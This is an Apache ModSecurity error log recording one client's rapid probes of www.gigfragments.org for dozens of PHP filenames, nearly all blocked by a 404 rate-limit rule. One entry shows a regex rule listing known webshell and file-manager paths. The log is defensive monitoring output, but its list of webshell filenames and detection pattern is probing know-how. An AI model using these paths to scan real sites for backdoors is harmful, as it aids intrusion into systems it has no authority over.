[Thu Feb 26 21:08:01.151681 2026] [:error] [pid 20419:tid 20429] [client 20.216.146.160:34078] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/async.php"] [unique_id "aaBFse3DVDvMfTYYUBVTkwAAAcc"]
[Thu Feb 26 21:08:01.630670 2026] [:error] [pid 25311:tid 25329] [client 20.216.146.160:11696] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/async.php"] [unique_id "aaBFsdfdM__yZAgJFSveNgAAAY8"]
[Thu Feb 26 21:08:02.104949 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:17782] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/async.php"] [unique_id "aaBFsuA33x90V6yYHajiegAAAUs"]
[Thu Feb 26 21:08:02.581786 2026] [:error] [pid 55051:tid 55072] [client 20.216.146.160:11683] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/async.php"] [unique_id "aaBFsgmK1w2kZvh5eLGobgAAAJI"]
[Thu Feb 26 21:08:03.062606 2026] [:error] [pid 3883:tid 3889] [client 20.216.146.160:40662] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ff.php"] [unique_id "aaBFs-A33x90V6yYHajigAAAAUM"]
[Thu Feb 26 21:08:03.535131 2026] [:error] [pid 3883:tid 3893] [client 20.216.146.160:34131] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ff.php"] [unique_id "aaBFs-A33x90V6yYHajigQAAAUc"]
[Thu Feb 26 21:08:04.014868 2026] [:error] [pid 3883:tid 3908] [client 20.216.146.160:50039] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ff.php"] [unique_id "aaBFtOA33x90V6yYHajihQAAAVY"]
[Thu Feb 26 21:08:04.485582 2026] [:error] [pid 3883:tid 3890] [client 20.216.146.160:50013] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ff.php"] [unique_id "aaBFtOA33x90V6yYHajihwAAAUQ"]
[Thu Feb 26 21:08:04.968726 2026] [:error] [pid 20419:tid 20441] [client 20.216.146.160:46031] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBFtO3DVDvMfTYYUBVTmAAAAdM"]
[Thu Feb 26 21:08:05.454113 2026] [:error] [pid 3883:tid 3905] [client 20.216.146.160:34667] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBFteA33x90V6yYHajiiQAAAVM"]
[Thu Feb 26 21:08:05.928461 2026] [:error] [pid 55051:tid 55059] [client 20.216.146.160:50010] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBFtQmK1w2kZvh5eLGoeAAAAIU"]
[Thu Feb 26 21:08:06.399179 2026] [:error] [pid 3883:tid 3894] [client 20.216.146.160:46059] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBFtuA33x90V6yYHajijAAAAUg"]
[Thu Feb 26 21:08:06.870878 2026] [:error] [pid 44444:tid 44472] [client 20.216.146.160:49692] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/manager.php"] [unique_id "aaBFtm2sMNmj-yekUk0YvQAAAhY"]
[Thu Feb 26 21:08:07.340994 2026] [:error] [pid 44444:tid 44463] [client 20.216.146.160:3128] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/manager.php"] [unique_id "aaBFt22sMNmj-yekUk0YwQAAAg0"]
[Thu Feb 26 21:08:07.819124 2026] [:error] [pid 3883:tid 3906] [client 20.216.146.160:50000] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/manager.php"] [unique_id "aaBFt-A33x90V6yYHajikQAAAVQ"]
[Thu Feb 26 21:08:08.292643 2026] [:error] [pid 3883:tid 3904] [client 20.216.146.160:40696] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/manager.php"] [unique_id "aaBFuOA33x90V6yYHajilQAAAVI"]
[Thu Feb 26 21:08:08.766352 2026] [:error] [pid 3883:tid 3886] [client 20.216.146.160:40656] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-update.php"] [unique_id "aaBFuOA33x90V6yYHajilwAAAUA"]
[Thu Feb 26 21:08:09.259966 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:40647] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-update.php"] [unique_id "aaBFuW2sMNmj-yekUk0YygAAAgQ"]
[Thu Feb 26 21:08:09.745595 2026] [:error] [pid 44444:tid 44470] [client 20.216.146.160:3121] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-update.php"] [unique_id "aaBFuW2sMNmj-yekUk0YzwAAAhQ"]
[Thu Feb 26 21:08:10.218942 2026] [:error] [pid 44444:tid 44457] [client 20.216.146.160:49692] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-update.php"] [unique_id "aaBFum2sMNmj-yekUk0Y1AAAAgc"]
[Thu Feb 26 21:08:10.695853 2026] [:error] [pid 44444:tid 44456] [client 20.216.146.160:42185] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file.php"] [unique_id "aaBFum2sMNmj-yekUk0Y2AAAAgY"]
[Thu Feb 26 21:08:11.182568 2026] [:error] [pid 55051:tid 55065] [client 20.216.146.160:40369] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file.php"] [unique_id "aaBFuwmK1w2kZvh5eLGoegAAAIs"]
[Thu Feb 26 21:08:11.652772 2026] [:error] [pid 54991:tid 55029] [client 20.216.146.160:3446] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file.php"] [unique_id "aaBFu94Zx-mJ8gbRB2jkWQAAAEk"]
[Thu Feb 26 21:08:12.168980 2026] [:error] [pid 54991:tid 55043] [client 20.216.146.160:33334] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file.php"] [unique_id "aaBFvN4Zx-mJ8gbRB2jkWwAAAFc"]
[Thu Feb 26 21:08:12.650336 2026] [:error] [pid 54991:tid 55038] [client 20.216.146.160:12187] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lc.php"] [unique_id "aaBFvN4Zx-mJ8gbRB2jkXAAAAFI"]
[Thu Feb 26 21:08:13.125296 2026] [:error] [pid 3883:tid 3889] [client 20.216.146.160:20500] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lc.php"] [unique_id "aaBFveA33x90V6yYHajioAAAAUM"]
[Thu Feb 26 21:08:13.599317 2026] [:error] [pid 55051:tid 55060] [client 20.216.146.160:46047] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lc.php"] [unique_id "aaBFvQmK1w2kZvh5eLGolAAAAIY"]
[Thu Feb 26 21:08:14.082018 2026] [:error] [pid 55122:tid 55140] [client 20.216.146.160:36538] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lc.php"] [unique_id "aaBFvoLiR0OfjFxvcN8uTwAAANA"]
[Thu Feb 26 21:08:14.563091 2026] [:error] [pid 44444:tid 44469] [client 20.216.146.160:20538] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cbrfo.php"] [unique_id "aaBFvm2sMNmj-yekUk0Y4gAAAhM"]
[Thu Feb 26 21:08:15.055171 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:11253] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cbrfo.php"] [unique_id "aaBFv-A33x90V6yYHajiqgAAAUs"]
[Thu Feb 26 21:08:15.543950 2026] [:error] [pid 44444:tid 44468] [client 20.216.146.160:33324] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cbrfo.php"] [unique_id "aaBFv22sMNmj-yekUk0Y4wAAAhI"]
[Thu Feb 26 21:08:16.022021 2026] [:error] [pid 55618:tid 55644] [client 20.216.146.160:5698] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cbrfo.php"] [unique_id "aaBFwB61Vrh12f_8oWQKSwAAARc"]
[Thu Feb 26 21:08:16.494507 2026] [:error] [pid 3883:tid 3886] [client 20.216.146.160:46028] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inc.php"] [unique_id "aaBFwOA33x90V6yYHajitwAAAUA"]
[Thu Feb 26 21:08:16.977778 2026] [:error] [pid 25311:tid 25327] [client 20.216.146.160:5699] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inc.php"] [unique_id "aaBFwNfdM__yZAgJFSveSQAAAY0"]
[Thu Feb 26 21:08:17.459157 2026] [:error] [pid 25311:tid 25321] [client 20.216.146.160:14937] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inc.php"] [unique_id "aaBFwdfdM__yZAgJFSveTAAAAYc"]
[Thu Feb 26 21:08:17.935908 2026] [:error] [pid 55618:tid 55636] [client 20.216.146.160:36525] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inc.php"] [unique_id "aaBFwR61Vrh12f_8oWQKTAAAAQ8"]
[Thu Feb 26 21:08:18.412087 2026] [:error] [pid 54990:tid 55011] [client 20.216.146.160:36511] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaBFwntr2qmt_mBhH2wnXQAAABI"]
[Thu Feb 26 21:08:18.882353 2026] [:error] [pid 44444:tid 44474] [client 20.216.146.160:34094] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaBFwm2sMNmj-yekUk0Y7AAAAhg"]
[Thu Feb 26 21:08:19.356103 2026] [:error] [pid 44444:tid 44453] [client 20.216.146.160:54763] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaBFw22sMNmj-yekUk0Y7gAAAgM"]
[Thu Feb 26 21:08:19.830359 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:54732] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaBFw-A33x90V6yYHajiywAAAVA"]
[Thu Feb 26 21:08:20.302498 2026] [:error] [pid 3883:tid 3905] [client 20.216.146.160:5716] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miansha.php"] [unique_id "aaBFxOA33x90V6yYHaji0AAAAVM"]
[Thu Feb 26 21:08:20.788365 2026] [:error] [pid 55618:tid 55637] [client 20.216.146.160:42191] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miansha.php"] [unique_id "aaBFxB61Vrh12f_8oWQKTgAAARA"]
[Thu Feb 26 21:08:21.263555 2026] [:error] [pid 54990:tid 55002] [client 20.216.146.160:36495] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miansha.php"] [unique_id "aaBFxXtr2qmt_mBhH2wnXgAAAAk"]
[Thu Feb 26 21:08:21.770153 2026] [:error] [pid 20419:tid 20432] [client 20.216.146.160:11077] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miansha.php"] [unique_id "aaBFxe3DVDvMfTYYUBVTswAAAco"]
[Thu Feb 26 21:08:22.243332 2026] [:error] [pid 55122:tid 55129] [client 20.216.146.160:12206] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aaBFxoLiR0OfjFxvcN8uVAAAAMU"]
[Thu Feb 26 21:08:22.716930 2026] [:error] [pid 54991:tid 55041] [client 20.216.146.160:11222] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aaBFxt4Zx-mJ8gbRB2jkZwAAAFU"]
[Thu Feb 26 21:08:23.191772 2026] [:error] [pid 55051:tid 55058] [client 20.216.146.160:42205] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aaBFxwmK1w2kZvh5eLGoowAAAIQ"]
[Thu Feb 26 21:08:23.664926 2026] [:error] [pid 3883:tid 3887] [client 20.216.146.160:11082] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aaBFx-A33x90V6yYHaji5AAAAUE"]
[Thu Feb 26 21:08:24.137496 2026] [:error] [pid 3883:tid 3898] [client 20.216.146.160:36260] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aaBFyOA33x90V6yYHaji6wAAAUw"]
[Thu Feb 26 21:08:24.608920 2026] [:error] [pid 25311:tid 25315] [client 20.216.146.160:46070] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aaBFyNfdM__yZAgJFSveWQAAAYE"]
[Thu Feb 26 21:08:25.083548 2026] [:error] [pid 54990:tid 55014] [client 20.216.146.160:11082] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aaBFyXtr2qmt_mBhH2wnYwAAABU"]
[Thu Feb 26 21:08:25.552826 2026] [:error] [pid 44444:tid 44473] [client 20.216.146.160:12199] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aaBFyW2sMNmj-yekUk0Y9wAAAhc"]
[Thu Feb 26 21:08:26.024059 2026] [:error] [pid 55051:tid 55075] [client 20.216.146.160:49722] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/muzu.php"] [unique_id "aaBFygmK1w2kZvh5eLGoqAAAAJU"]
[Thu Feb 26 21:08:26.495581 2026] [:error] [pid 54991:tid 55037] [client 20.216.146.160:20510] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/muzu.php"] [unique_id "aaBFyt4Zx-mJ8gbRB2jkaQAAAFE"]
[Thu Feb 26 21:08:26.974674 2026] [:error] [pid 54990:tid 55004] [client 20.216.146.160:12171] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/muzu.php"] [unique_id "aaBFyntr2qmt_mBhH2wnZQAAAAs"]
[Thu Feb 26 21:08:27.445237 2026] [:error] [pid 55618:tid 55642] [client 20.216.146.160:12177] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/muzu.php"] [unique_id "aaBFyx61Vrh12f_8oWQKVAAAARU"]
